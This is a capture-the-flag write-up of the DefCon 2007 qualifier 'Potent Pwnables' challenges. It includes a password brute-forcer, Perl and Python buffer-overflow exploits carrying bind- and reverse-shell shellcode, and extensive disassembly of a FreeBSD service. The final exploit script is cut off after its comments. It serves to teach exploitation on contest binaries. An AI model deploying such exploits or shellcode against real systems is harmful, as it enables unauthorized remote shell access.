Potent Pwnables Walkthrough (DefCon CTF 2007 Qualifiers)
This category is most like the "real" CTF. While the other are related or fun, this really does test a team's ability to get a shell on a running service. We really slacked in this category, and as a result, the last 2 challenges went unsolved due to lack of time during the Qualifiers, and we're still slacking now. :)
100: Bruce force, for the win!
When we did a quick brute-force of 1-letter ASCII passwords, we discovered that it didn't reply at all for one of them ("o"). We assumed it meant that character was correct, so we wrote a brute forcer to build up additional characters:
#!/bin/bash
password=""

function find_letters()
{
for char in a b c d e f g h i j k l m n o p q r s t u v w x z y A B C D E F G H I J K L M N O P Q R S T U V W X Y Z , . '!' - " "
do
    guess="$password$char"
    # Since this is MovieOS, we have to show the progress in a dramatic way
    echo -en "$guess\r"

    attempt=$(echo "$guess" | nc quals07.allyourboxarebelongto.us 1234)
    if ! echo "$attempt" | grep -q time:
    then
        password="$guess"
        return
    fi
    if ! echo "$attempt" | grep -q Failed
    then
        password="$guess"
        echo "Password is '$password'"
        exit 0
    fi
done
}

while :
do
    find_letters
done
As it ran, we watched it develop the correct answer: "ooh baby, brute me harder".
After quals, Kenshoto gave us the source code to Pwnage 100.
200: Fun with ASCII addresses
After getting over the fact that this binary is an ia32 OSX binary with relative addressing, the vulnerability becomes obvious quickly. In "handleConnection", there is an unchecked sprintf, being written to the stack from a 0x800 byte sized buffer that was just read into:
 movl    $0x00000800, 8(%esp)
 leal    0x3AC(%ebx), %eax               ; ebx:0x00002020(_buf)
 movl    %eax, 4(%esp)
 movl    8(%ebp), %eax
 movl    %eax, (%esp)
 lcall   _read@plt

 leal    0x3AC(%ebx), %eax               ; ebx:0x00002020(_buf)
 movl    %eax, 8(%esp)
 leal    0x22C(%ebx), %eax               ; ebx:0x00001ea0 "Steve jobs loves you too %s"
 movl    %eax, 4(%esp)
 leal    -264(%ebp), %eax
 movl    %eax, (%esp)
 lcall   _sprintf@plt
So, aligning the return address (the 0x00002020 buffer) after the shellcode, and this pops easily. The only hiccup here is if one panics about not being able to write the entire 4 bytes of the buffer location -- however, these bytes are already zero ("handleConnection" was called from main, and has a saved eip of 0x00001e22 -- one only has to overwrite the last two bytes).
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $host = shift || 'localhost';
my $port = shift || 1984;

# osx_ia32_bind -  LPORT=4444 Size=112 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xea\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1f".
"\xae\xee\xd8\x83\xeb\xfc\xe2\xf4\x75\xec\xb6\x15\x9f\xc4\x8f\x80".
"\x86\xfc\x86\xc8\x1d\xbf\xb2\x51\xfe\xfc\xac\x8a\x5d\xfc\x84\xc8".
"\xd2\x2e\x77\x4b\x4e\xfd\xbc\xb2\x77\xf6\x23\x58\xaf\xc4\x23\x58".
"\x4d\xfd\xbc\x68\x01\x63\x6e\x4f\x75\xac\xb7\xb2\x45\xf6\xbf\x8f".
"\x4e\x63\x6e\x91\x10\x27\x1f\x27\xe0\x51\xbe\xb0\x30\x81\x9d\xb0".
"\x77\x81\x8c\xb1\x71\x27\x0d\x88\x4b\xfa\xbd\x8b\xaf\x95\x23\x58";

my $sock = new IO::Socket::INET(
                  PeerAddr => $host,
                  PeerPort => $port,
                  Proto    => 'tcp');
$sock or die "no socket :$!";

my $size=243;
if (length($shellcode)>$size) {
    die "shellcode too large (must be less than $size)\n";
}

my $buf .= "\x90" x ($size - length($shellcode)) . $shellcode;
$buf .= pack("l",0x00002020);
printf("total:0x%x\n",length($buf));

syswrite($sock,$buf,length($buf));

close($sock);
Instant pwnage, as long as the target system doesn't enforce the memory segment protections from the __DATA section, which don't include the execute bit:
LC_SEGMENT: __DATA           vma:00002000 vmsize:00001000 file:00001000 filesize:00001000 init:rw- max:rw-
300: Need more space? Try again!
We never got a chance to perform a proper write-up for this service, so here is a quick and dirty version...
This binary was a server which accepted connections on TCP port 60414. Once the connection is setup, the service reads 10 bytes into a mmap-ed region. If the read was successful, the program calls into the mmap-ed bytes. We simply provide 10 byte shellcode, right?!? NOT!
We input a couple opcodes (in the sploit variable 'firstread') to clean up the stack and to set a new read() size. Then we simply jmp back into the program just before the read() that was just used (and right *after* the obnoxious parm indicating to only read 10 bytes).
The program then reads in 0x80 bytes (128 in decimal), which we politely feed our shellcode. The program takes the same direction and nicely calls right into our shellcode.
Problem solved, right!? newp. Kenshoto set an alarm() of 5 seconds, so the shell wouldn't last long. So we inserted the necessary opcodes to turn off the alarm (seen in the setting of scode below).
#!/usr/bin/env python
import socket
from struct import *
from select import select
from sys import *


# disable alarm in parent
scode = "\x83\xec\x0c"           # sub 0xc
scode +="\x6a\x00"               # push 0x0
scode +="\xe8\x5e\x29\x00\x00"   # call 8048968

# bsd_ia32_reverse -  Size=92 Encoder=PexFnstenvSub http://metasploit.com
scode +="\x33\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a"+\
    "\xf1\x85\x36\x83\xeb\xfc\xe2\xf4\x10\x90\xdd\xaf\x28\xb3\xd7\x74"+\
    "\x28\x99\xc2\xda\xd6\xa6\x48\xb6\x12\xe1\x87\xc0\x63\x78\x64\x5c"+\
    "\x6a\xa0\xd5\x67\xed\x9b\xe7\x6e\xb7\x71\xef\x34\x23\x41\xdf\x67"+\
    "\x2d\xa0\x48\xb6\x33\x88\x73\x66\x12\xde\xaa\x45\x12\x99\xaa\x54"+\
    "\x13\x9f\x0c\xd5\x2a\xa5\xd6\x65\xca\xca\x48\xb6"

firstread = ""
firstread += "\x58"                         # pop %eax
firstread += "\x6a\x7f"                     # push 0x80
firstread += "\xe9\x5e\x2e\x00\x00"         # jmp          0x8048e66

s=socket.socket()

def doit(box='localhost', port=60414):
    s=socket.socket()
    s.connect(('quals07.allyourboxarebelongto.us',60414))
    #s.connect(('localhost',60414))
    #print "Press Enter"
    #stdin.readline()
    print "sending firstread"
    s.sendall(firstread)
    print "sending shellcode"
    s.sendall("%-128s"%scode)  #  Need this to be 128bytes
    while True:
        if select([s],[],[],.1):
            inp = s.recv(100)
            if len(inp) == 0: break
            print inp
    
    s.sendall(scode)
    print "Press Enter to exit"
    stdin.readline()

doit()
400: Recurse off the stack
During the Quals, 1@stPlace didn't finish Pwnage 400, but we got pretty close. Basically, one had to reverse engineer the service to discover it's command actions, and you discovered that you could send recursive instructions, builing up the stack, and then issue a command that mmaps at the stack edge, where you could control the values in the function's return address.
Our notes from the reversing:
read(8)
        0-4: jump offsets  when <8
        5-7: generally size param for commands that use it

default, 0,4:
        write(out,buf,8);
        write(out,buf,strlen(buf))

1:   stat
        buffer[4-7] > 0x3FF ?

        read(buffer[4-7]) into [path]

        get stat %d output

2:  stat also?... different report
        buffer[4-7] > 0x3FF ?

3:  how many times to recall parse function
        read(4)    

        call self again that many times

5:
        buffer[4-7] > 0x3FF ?

        reset crc to 0

        read NULL-term string for pwnam

        dump int of ptr to pwnam password

6:
        buffer[4-7] == 0x4   || content too long

                read(4 into xor_value)

                getpwuid()

                returns 8 bytes, size and 6
                returns size bytes, pwnam of uid

7:  crc reporter??
        buffer[4-7] > 0x1000 ?

                mmap @ 0xbfbdf000  for 0x1000 bytes
                read(, for buffer[4-7])

                >0 size read?
                        eax = 0/0x0d
                        0 remainder edx?

                xor crc, shifting left 4 every 0xd bytes
It is with great thanks that we present a Pwnage 400 walk-through from adc of the lollerskaters dropping from roflcopters:
Hi there, i'm adc (aka Loller Von Skater) of the lollerskaterz dropping from rofl copters.
[lolcat@ /usr/home/lolcat/07]$ file pwnage400-b330557d7096bae8c2527f15428e5b11
pwnage400-b330557d7096bae8c2527f15428e5b11: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped
[lolcat@ /usr/home/lolcat/07]$ readelf -h ./pwnage400-b330557d7096bae8c2527f15428e5b11  | grep Entry
  Entry point address:               0x8048aac
GOGOGOGOGOGOGO
YAY! its stripped. This is an annoyance but not too much of a hassle.
#NOTE: lollerskater tools may be released at a later point in time. They were written not long before the 08 quals. #During the 07 qualifier the bread and butter was gdb and a pretty popular debugger, you've already heard of. #Big shout out to nologin.org. libdasm rux.
[lolcat@ /usr/home/lolcat/07]$ python ~/jaurez/getplt.py pwnage400-b330557d7096bae8c2527f15428e5b11
[+] Loaded segment 0x8048000-0x8049ab1
[+] Loaded segment 0x804aab4-0x804ac44
Func plt_waitpid @	 804885c
Func plt_getgid @ 804886c
Func plt_printf @ 804887c
Func plt_geteuid @ 804888c
Func plt_getegid @ 804889c
Func plt_perror @ 80488ac
Func plt_getuid @ 80488bc
Func plt_socket @ 80488cc
Func plt_mmap @ 80488dc
Func plt_send @ 80488ec
Func plt_alarm @ 80488fc
Func plt_accept @ 804890c
Func plt_write @ 804891c
Func plt_bind @ 804892c
Func plt_chdir @ 804893c
Func plt_initgroups @ 804894c
Func plt_setsockopt @ 804895c
Func plt_setgid @ 804896c
Func plt_signal @ 804897c
Func plt_read @ 804898c
Func plt_listen @ 804899c
Func plt_fork @ 80489ac
Func plt_setresuid @ 80489bc
Func plt_memset @ 80489cc
Func plt_err @ 80489dc
Func plt__init_tls @ 80489ec
Func plt_seteuid @ 80489fc
Func plt_getpwuid @ 8048a0c
Func plt_getpwnam @ 8048a1c
Func plt_sprintf @ 8048a2c
Func plt_atexit @ 8048a3c
Func plt_setresgid @ 8048a4c
Func plt_stat @ 8048a5c
Func plt_exit @ 8048a6c
Func plt_setegid @ 8048a7c
Func plt_setuid @ 8048a8c
Func plt_close @ 8048a9c
Pff this is easy for you, there are just enough library functions for the code size, and it's no more than 4k after all the other stuff.
0x8048000-0x8049ab1
The information above is obtained by parsing the PT_DYANMIC phdr entry and looking at Elf32_Rel entries. An alternate approach (if your binary doesn't confuse objdump too much) is to just do an objdump -R and match Global Offset Table entries to the Procedure Linkage Table.
Aside: (read up on the PLT @ x86.org) Here's an example of using objdump:
[lolcat@ /usr/home/lolcat/07]$ readelf -S pwnage400-b330557d7096bae8c2527f15428e5b11 | grep plt
[ 5] .rel.plt          REL             08048710 000710 000128 08   A  3   7  4
[ 7] .plt              PROGBITS        0804884c 00084c 000260 04  AX  0   0  4
     ^------------------this is the plt ^^^^ start right here: 0x804884c
[lolcat@ /usr/home/lolcat/07]$ gdb pwnage400-b330557d7096bae8c2527f15428e5b11
...
(gdb) x/10i 0x804884c
0x804884c <_init+20>:	pushl  0x804ab84
0x8048852 <_init+26>:	jmp    *0x804ab88
0x8048858 <_init+32>:	add    %al,(%eax)
0x804885a <_init+34>:	add    %al,(%eax)
0x804885c <_init+36>:	jmp    *0x804ab8c
...
[lolcat@ /usr/home/lolcat/07]$ objdump -R pwnage400-b330557d7096bae8c2527f15428e5b11  | grep ab8c
0804ab8c R_386_JUMP_SLOT   waitpid
Getting started:
]]]]]]]]] Finding Main [[[[[[[[[[[ At the entry point (0x8048aac) we have the standard freebsd start routine:
$ python ~/dump.py -a 0x804aac pwnage400-b330557d7096bae8c2527f15428e5b11
0x08048aac:	push %ebp
0x08048aad:	mov %esp,%ebp
0x08048aaf:	push %edi
0x08048ab0:	push %esi
...
<snip: you can learn what the standard routine looks like by building your own main(){} and comparing>
....
0x08048af6:	jz 0x8048b36
0x08048af8:	sub $0xc,%esp
0x08048afb:	push %edi
0x08048afc:	call 0x8048a3c	###	atexit()
0x08048b01:	add $0x10,%esp
0x08048b04:	sub $0xc,%esp
0x08048b07:	pushl $0x8049884	***	"'\x83\xec\x0c\xe8\xb4\xf2\xff\xff\x83\xc4\x0c\xc3$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $'"
0x08048b0c:	call 0x8048a3c	###	atexit()
0x08048b11:	call 0x8048838
0x08048b16:	push %eax
0x08048b17:	push %esi
0x08048b18:	lea 0x8(%ebp),%eax
0x08048b1b:	push %eax
0x08048b1c:	push %ebx
0x08048b1d:	call 0x8049410					<-------- this is where main() gets called, right here
0x08048b22:	add $0x14,%esp
0x08048b25:	push %eax
0x08048b26:	call 0x8048a6c	###	exit()
0x08048b2b:	nop 
0x08048b2c:	mov %edx,%ecx
0x08048b2e:	mov %edx,0x804aab4
0x08048b34:	jmp 0x8048ae9
0x08048b36:	call 0x80489ec	###	_init_tls()
0x08048b3b:	jmp 0x8048b04
0x08048b3d:	nop 
0x08048b3e:	nop 
0x08048b3f:	nop 


main()
--------
0x08049410:	push %ebp
0x08049411:	mov %esp,%ebp
0x08049413:	sub $0x8,%esp
0x08049416:	and $0xfffffff0,%esp
0x08049419:	sub $0x1c,%esp
0x0804941c:	pushl $0x1167					( this is 4455: matches quals07.allyourboxarebelongto.us:4455 )
0x08049421:	call 0x80495b4	
The above function can just be glanced at. The only arg(4455) aids in guessing that its a socket setup function.
plt calls:
	0x080495e6:	call 0x804897c	###	signal()			; INTERESTING, signal handler for SIGALARM
														
	0x080495d2:	pushl $0x804945c		
	0x080495d7:	pushb $0x14				; SIGALRM
	...
	0x080495e6:	call 0x804897c	###	signal()
	0x080495f8:	call 0x80488cc	###	socket()
	0x08049618:	call 0x804895c	###	setsockopt()
	0x08049628:	call 0x804892c	###	bind()
	0x08049639:	call 0x804899c	###	listen()

0x08049426:	add $0x10,%esp
0x08049429:	cmp $0xffffffff,%eax
0x0804942c:	jz 0x8049440
0x0804942e:	sub $0x8,%esp
0x08049431:	pushl $0x80493f0	***  "'U\x89\xe5S\x83\xec\x10\x8b]\x08j...."
; above is arg1, looks like code, possibly the address of client_handle() or something to that effect
0x08049436:	push %eax				; arg 1 (the socket file descriptor)
0x08049437:	call 0x8049684			; this is probably our wait_for_clients() loop
0x0804943c:	xor %eax,%eax
0x0804943e:	leave 
0x0804943f:	ret 
And our next hunch is probably right, consider the following plt calls @ 0x8049684:
0x0804969a:	call 0x804890c	###	accept()
0x080496a9:	call 0x80489ac	###	fork()
0x080496bb:	call 0x8048a9c	###	close()
0x080496d1:	call 0x8048a9c	###	close()
0x080496d9:	call 0x8048a6c	###	exit()
We quickly look to see how the fork happens and where that 2nd argument (the function) gets used.
0x08049684:	push %ebp
0x08049685:	mov %esp,%ebp
...
0x0804969a:	call 0x804890c	###	accept()
..
0x080496a2:	cmp $0xffffffff,%eax
0x080496a5:	mov %eax,%esi				; fd from accept()
0x080496a7:	jz 0x8049694
0x080496a9:	call 0x80489ac	###	fork()
...
0x080496b3:	test %eax,%eax					; fork will return 0 to the child, -1 on error, and the pid to the parent
0x080496b5:	jz 0x80496c5		; this is the child branch
0x080496b7:	sub $0xc,%esp
0x080496ba:	push %esi
0x080496bb:	call 0x8048a9c	###	close()			; okay parent just closes and the loop restarts
..
0x080496c3:	jmp 0x8049694


;child branch code
0x080496c5:	sub $0xc,%esp
0x080496c8:	push %esi					; %esi is the fd from accept(), client socket
0x080496c9:	call *0xc(%ebp)				; argument 1 @ 8+%ebp, arg2 @ 12+%ebp :: THIS IS IT
0x080496cc:	mov %eax,%ebx
0x080496ce:	mov %esi,(%esp)
0x080496d1:	call 0x8048a9c	###	close()
0x080496d6:	mov %ebx,(%esp)
0x080496d9:	call 0x8048a6c	###	exit()		; bye bye
So this is the setup. make me a server socket. get me some clients, and have them call this number : 0x80493f0
Onwards, what does the client actually do?
]]]]]]]]] The client handler [[[[[[[[[[[
; MAIN CLIENT HANDLING CODE
0x080493f0:	push %ebp
0x080493f1:	mov %esp,%ebp
0x080493f3:	push %ebx
0x080493f4:	sub $0x10,%esp
0x080493f7:	mov 0x8(%ebp),%ebx
0x080493fa:	pushb $0x5
0x080493fc:	call 0x80488fc	###	alarm()			; oooh, 5 scary seconds until SIGALARM happen. deadline for our sploit?
0x08049401:	mov %ebx,0x8(%ebp)
0x08049404:	add $0x10,%esp
0x08049407:	mov 0xfffffffc(%ebp),%ebx
0x0804940a:	leave 
0x0804940b:	jmp 0x8048c28						

;CODE CONTINUED, BRANCHED
0x08048c28:	push %ebp
<snip snip initialize some variables snip snip>
0x08048c73:	call 0x80489cc	###	memset()
0x08048c78:	add $0xc,%esp
0x08048c7b:	pushb $0x8
0x08048c7d:	lea 0xfffffb80(%ebp),%edi
0x08048c83:	push %edi
0x08048c84:	pushl 0x8(%ebp)
0x08048c87:	call 0x804947c				; Hello little piggy, what do you do?

			...
			<snip snip>
			0x08049494:	mov %esi,%edx
			0x08049496:	sub %ebx,%edx
			0x08049498:	push %ecx						; extra????
			0x08049499:	push %edx						; size
			0x0804949a:	lea (%edi,%ebx),%eax
			0x0804949d:	push %eax						; buffer
			0x0804949e:	pushl 0x8(%ebp) 				; fd
			0x080494a1:	call 0x804898c	###	read()   ; read(int d, void *buf, size_t nbytes);
			0x080494a6:	add $0x10,%esp
			0x080494a9:	test %eax,%eax
			0x080494ab:	jng 0x80494b3
			0x080494ad:	add %eax,%ebx			; total count += read
			0x080494af:	cmp %esi,%ebx			
			0x080494b1:	jc 0x8049494			;; oooh it reads until it fails or meets its requirements
					(0x08049485:	mov 0x10(%ebp),%esi) : arg 3 is the size

			<snip snip>
			0x080494b6:	mov %ebx,%eax
			0x080494b8:	pop %ebx
			0x080494b9:	pop %esi
			0x080494ba:	pop %edi
			0x080494bb:	leave 
			0x080494bc:	ret 
Looking back at the function's parent:
	0x08048c7b:	pushb $0x8
The third argument is 8 bytes. So thats how much it reads. 8 bytes = two 32-bit numbers.
0x08048c8c:	add $0x10,%esp
0x08048c8f:	cmp $0x8,%ea
0x08048c92:	jnz 0x8049181			;
		0x08049181:	sub $0xc,%esp
		0x08049184:	pushl $0x804991c	***	"'read failed'"
		0x08049189:	call 0x80488ac	###	perror()
		0x0804918e:	mov $0xffffffff,%eax
		0x08049193:	jmp 0x8048d03	
0x08048c98:	mov 0xfffffb80(%ebp),%eax
	; what is @ the above offset?
	; lets check what our input buffer was to the read_loop()
		; -> 0x08048c7d:	lea 0xfffffb80(%ebp),%edi
		; 0x08048c83:	push %edi
		
; so the first 4 bytes are treated as a little endian integer
0x08048c9e:	cmp $0x7,%eax
0x08048ca1:	ja 0x8048cac
	0x08048cac:	mov 0x804aacc,%ebx
	0x08048cb2:	xor %eax,%eax					; ; %eax cleared, we were out of bounds
	0x08048cb4:	movl $0x0,0xfffffb04(%ebp)
	0x08048cbe:	movl $0x4,0xfffffb00(%ebp)
	0x08048cc8:	cld 
	0x08048cc9:	mov $0xffffffff,%ecx
	0x08048cce:	mov %ebx,%edi
	0x08048cd0:	repne scasb 
	0x08048cd2:	push %eax
	0x08048cd3:	pushb $0x8								; since our variable has been cleared
	0x08048cd5:	lea 0xfffffb00(%ebp),%edx				; skip the rest of this for now, check out the alternative
	0x08048cdb:	push %edx
	0x08048cdc:	not %ecx
	0x08048cde:	pushl 0x8(%ebp)
	0x08048ce1:	mov %ecx,0xfffffb04(%ebp)
	0x08048ce7:	call 0x804891c	###	write()
	0x08048cec:	add $0xc,%esp
	0x08048cef:	pushl 0xfffffb04(%ebp)
	0x08048cf5:	push %ebx
	0x08048cf6:	pushl 0x8(%ebp)
	0x08048cf9:	call 0x804891c	###	write()
	0x08048cfe:	add $0x10,%esp
	0x08048d01:	xor %eax,%eax
	0x08048d03:	lea 0xfffffff4(%ebp),%esp
	0x08048d06:	pop %ebx
	0x08048d07:	pop %esi
	0x08048d08:	pop %edi
	0x08048d09:	leave 
	0x08048d0a:	ret 
	
0x08048ca3:	jmp *0x8049950(%eax,4) ; a jump table! this is where you say yipee, because the above is just error handling

; you double check the compare to see that its unsigned
; 0x08048ca1:	ja 0x8048cac
; and you continue: (wishing that it was a signed comparison, because then you'd be closer to a shell)
(gdb) x/8wx 0x8049950
0x8049950 <_fini+204>:	0x08048cac	0x08048e17	0x08048e9f	0x08048f27
0x8049960 <_fini+220>:	0x08048cac	0x08048f5d	0x0804900f	0x08048d0b
]]]]]]]]] 8 Doors, which ones do you pick? [[[[[[[[[[[
door 0:
	0x08048cac	-> this was the failure function from before, where %eax was cleared
	
entry 1:
	0x08048e17:	mov 0x4(%edi),%eax
			HOLD UP, what was %edi?:
				0x08048c7d:	lea 0xfffffb80(%ebp),%edi
				0x08048c83:	push %edi
			It was the second argument to the first read_loop(), which means its our buffer.
			4(%edi) is the other 4 bytes that were read
				
	0x08048e1a:	cmp $0x3ff,%eax					; unsigned size check, good to know > 1024 piggies is too many piggies
	0x08048e1f:	ja 0x80490e5
	0x08048e25:	push %edx
	0x08048e26:	push %eax				;arg3 -> size		; we specified this in those last 4 bytes
	0x08048e27:	push %esi				;arg2 ->  buffer
	0x08048e28:	pushl 0x8(%ebp)			;arg1 ->  socket
	0x08048e2b:	call 0x804947c			; our friend the read_loop gets called on again
	0x08048e30:	add $0x10,%esp
	0x08048e33:	cmp 0x4(%edi),%eax		; make sure we got as many gummy bears as were ordered
	0x08048e36:	jnz 0x8049363 ; or else:
		0x08049363:	sub $0xc,%esp
		0x08049366:	pushl $0x8049928	***	"'recv failed'"
		0x0804936b:	jmp 0x8049189
	0x08048e3c:	sub $0x8,%esp
	0x08048e3f:	push %ebx
	0x08048e40:	push %esi ; input buffer
	0x08048e41:	call 0x8048a5c	###	stat()		;stat(const char *path, struct stat *sb);
	0x08048e46:	add $0x10,%esp					; so we can check if a file exists
	0x08048e49:	test %eax,%eax
	0x08048e4b:	jz 0x804925e
		0x08048e51:	mov 0x804aac8,%ebx
	    <snip failure option>, stat returns 0 on success, so this is most likely error handling again
	0x08048e9a:	jmp 0x8048cf5
	0x0804925e:	push %ebx
	0x0804925f:	pushl 0xfffffb8c(%ebp)
	0x08049265:	pushl $0x8049919	***	"'%d'"
	0x0804926a:	push %esi
	0x0804926b:	call 0x8048a2c	###	sprintf()
	< bla bla bla >
	0x08049299:	pushb $0x8
	0x0804929b:	push %ebx
	0x0804929c:	not %ecx
	0x0804929e:	pushl 0x8(%ebp)
	0x080492a1:	mov %ecx,0xfffffb24(%ebp)
	0x080492a7:	call 0x804891c	###	write()			; BZZZZZZZAP , boring door
	0x080492ac:	add $0xc,%esp						; please call me if you have stat() exploits
	0x080492af:	pushl 0xfffffb24(%ebp)
	0x080492b5:	push %esi
	0x080492b6:	jmp 0x8048cf6
Summary: The second word for the original 8 bytes is a size argument for how much data to read for a pathname. A stat() is done and result of interest is printed out w/ sprintf+write
portal 2: skipped because were both bored, it does another stat(), showing another number Summary: does a stat() again and gives you the result, as before
hatchway 3: @ 0x08048f27
	0x08048f27:	push %eax
	0x08048f28:	pushb $0x4
	0x08048f2a:	lea 0xfffffb54(%ebp),%esi
	0x08048f30:	push %esi
	0x08048f31:	pushl 0x8(%ebp)					; this was that fd
	0x08048f34:	movl $0x0,0xfffffb54(%ebp)		; var = 0
	0x08048f3e:	call 0x804947c					; read loop for additional arguments
	0x08048f43:	xor %ebx,%ebx
	0x08048f45:	add $0x10,%esp
	0x08048f48:	cmp $0x4,%eax					; 4 bytes must  be read, another 32-bit int
	0x08048f4b:	mov $0xffffffff,%edx
	0x08048f50:	jz 0x8049067
		0x08049067:	cmp 0xfffffb54(%ebp),%ebx		; 
		0x0804906d:	jnl 0x804908e					; counter < input
		0x0804906f:	sub $0xc,%esp
		0x08049072:	pushl 0x8(%ebp)
		0x08049075:	call 0x8048c28				; ------> this was the main client function
		0x0804907a:	add $0x10,%esp				; recursion()		
		0x0804907d:	test %eax,%eax					; alright cool so we can call multiple commands w/out reconnecting!
		0x0804907f:	js 0x8049370					; oh how many ways can you break, sweet state machine of mine
		0x08049085:	inc %ebx					; ++ that counter, oh yeah
		0x08049086:	cmp 0xfffffb54(%ebp),%ebx
		0x0804908c:	jl 0x804906f				; and we can even loop it. DFS or BFS, with option 0x3: you pick!
		0x0804908e:	xor %edx,%edx
		0x08049090:	mov %edx,%eax
		0x08049092:	jmp 0x8048d03		
	0x08048f56:	mov %edx,%eax
	0x08048f58:	jmp 0x8048d03

	0x08048d03:	lea 0xfffffff4(%ebp),%esp
	0x08048d06:	pop %ebx
	0x08048d07:	pop %esi
	0x08048d08:	pop %edi
	0x08048d09:	leave 
	0x08048d0a:	ret 
Summary: allows you to call the client handler code again, recursively, and in an iterative argument loop Reads another 4 words for the number of times to loop the client handler code
	
possibility 4 @ 0x08048cac:
	this was the fail msg again
	
opening 5 @ 0x08048f5d:
	0x08048f5d:	cmpl $0x3ff,0x4(%edi)				; 2nd word must be <= 1024 again
	0x08048f64:	ja 0x8049198

		...
		0x080491cd:	mov %ecx,0xfffffb64(%ebp)
		0x080491d3:	call 0x804891c	###	write()		; write error
		0x080491d8:	add $0xc,%esp
		0x080491db:	pushl 0xfffffb64(%ebp)
		0x080491e1:	jmp 0x8048cf5
		
	0x08048f6a:	movl $0x0,0xfffffb14(%ebp)
	0x08048f74:	jmp 0x8048f8f

	0x08048f8f:	mov %esi,%edx
	0x08048f91:	push %eax
	0x08048f92:	pushb $0x1
	0x08048f94:	add 0xfffffb14(%ebp),%edx
	0x08048f9a:	push %edx
	0x08048f9b:	pushl 0x8(%ebp)
	0x08048f9e:	call 0x804898c	###	read()				;read() called directly, might be something here but it all checks out
	0x08048fa3:	add $0x10,%esp
	0x08048fa6:	test %eax,%eax					
	0x08048fa8:	jg 0x8048f78
	0x08048faa:	sub $0xc,%esp
	0x08048fad:	push %esi
	0x08048fae:	call 0x8048a1c	###	getpwnam()			; look up a user id
	0x08048fb3:	add $0xc,%esp
	0x08048fb6:	pushl 0x8(%eax)
	0x08048fb9:	pushl $0x8049919	***	"'%d'"
	0x08048fbe:	push %esi
	0x08048fbf:	call 0x8048a2c	###	sprintf()		; there ya go
	....
	0x08048ffb:	call 0x804891c	###	write()				; have yer user ID
	..
	0x0804900a:	jmp 0x8048cf6
Summary: 2nd word is used a size argument. The size is used to read a string. This string is given to getpwnam(), this retrieves a userID
opportunity 6:
	0x0804900f
	
	0x0804900f:	cmpl $0x4,0x4(%edi)
	0x08049013:	jz 0x80491e6
		0x08049019:	mov 0x804aac4,%ebx					; error if arg2 != 0x4
		0x0804901f:	movl $0x0,0xfffffb1c(%ebp)
		<blah blah blah>
		0x08049051:	pushl 0x8(%ebp)
		0x08049054:	call 0x804891c	###	write()
		0x08049059:	add $0xc,%esp
		0x0804905c:	pushl 0xfffffb1c(%ebp)
		0x08049062:	jmp 0x8048cf5
		0x080491e6:	push %edx
	0x080491e7:	pushb $0x4
	
	0x0804920d:	call 0x8048a0c	###	getpwuid()
	
	0x0804924b:	call 0x804891c	###	write()
	0x08049250:	add $0xc,%esp
	0x08049253:	pushl 0xfffffb0c(%ebp)
	0x08049259:	jmp 0x8048cf5
Summary: Provided that the option is 4, this reads in 4 bytes and lets you have a name from a user id.
	
and the last option, #7:

	0x08048d0b:	cmpl $0x1000,0x4(%edi)
	0x08048d12:	ja 0x8049133
	0x08048d18:	push %eax
	0x08048d19:	pushb $0x0
	0x08048d1b:	pushb $0x0
	0x08048d1d:	pushb $0xffffffff
	0x08048d1f:	pushl $0x1010				; 
	0x08048d24:	pushb $0x3
	0x08048d26:	pushl $0x1000
	0x08048d2b:	pushl $0xbfbdf000
	0x08048d30:	call 0x80488dc	###	mmap()	; hello, what do we have here!
	;	39766 m        CALL  mmap(0xbfbdf000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_ANON,0xffffffff,0,0)
	 ; I just peed in my pants. mmaps to the stack. wait, what? yeah youre not supposed to do that
	; MAP_FIXED. yeah its for real.
	; you can probably guess why by now but we'll talk about it in a second
	0x08048d35:	add $0x20,%esp
	0x08048d38:	cmp $0xffffffff,%eax	; bail on failure
	0x08048d3b:	mov %eax,%edx
	0x08048d3d:	mov %eax,0x804ac3c
	0x08048d42:	jz 0x8049318
				; <snip> error time, mmap failed
	0x08048d48:	push %eax
	0x08048d49:	pushl 0x4(%edi)					; 2nd word of input, this is how many bytes to read
	0x08048d4c:	push %edx						; arg1 = dest = mmap result
	0x08048d4d:	pushl 0x8(%ebp)					; arg2 = fd
	0x08048d50:	call 0x804947c					;recv loop again
	0x08048d55:	add $0x10,%esp
	0x08048d58:	cmp 0x4(%edi),%eax
	0x08048d5b:	jnz 0x8049363					; again, count all our gummy bears and panic when they go missing
			<snip error>
	0x08048d61:	xor %edi,%edi
	0x08048d63:	cmp %eax,%edi
.... (theres a little more here, possibly a debug option, but its not required for the exploit)
Summary: You just hit the jackpot. A suspicious mmap() of a memory region that overlaps with the stack. Its just above the current stack actually.
You know all the addresses you need already. The mmap base is where you get to write some stuff. You know yuo can recurse until you're out of stack space
]]]]]]]] The Exploit [[[[[[[[[[[[[[
It's as easy as
1) grow the stack through and above the mmap overlap region
2) spray over return addresses. follow up with shellcode
3) allow the recursive functions to collapse, eventually hitting the mmap overlap region
#!/usr/bin/python

from socket import *
from struct import pack
from struct import unpack
from time import sleep
import os

HOST = "192.168.211.128"
PORT = 4455
SHELLPORT = 4444
#replace this shellcode with your own
sc = "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\x44\xc6\xb2\x72\xcd\x80\x68"+\
"\x10\x02\x11\x5c\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58\xcd\x80\x6a"+\
"\x02\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x31\xc0\x50\x68\x2f\x2f"+\
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80"

# The vuln:
#   pwnage 400 has been perverted to mmap a page @ 0xBFBDF000
#   .... which is not very far from the stack (stack-end @ 0xbfbfffff)
#
#
#   A recursive function call via option 0x3 can be used to build frames
#   up the stack, overlapping with the mapped region
#

# The exploit
#   -> recurse until the mmap buffer overlaps our return address
#       -> call the mmap option (0x7), using the opportunity to place shellcode
#           and overwrite the return addresses
#   -> collapse the main function by sending bad option values
#   ...as the functions collapse they will eventually return to our mmap'd region and our specified return
#   address (no brute force is necessary)

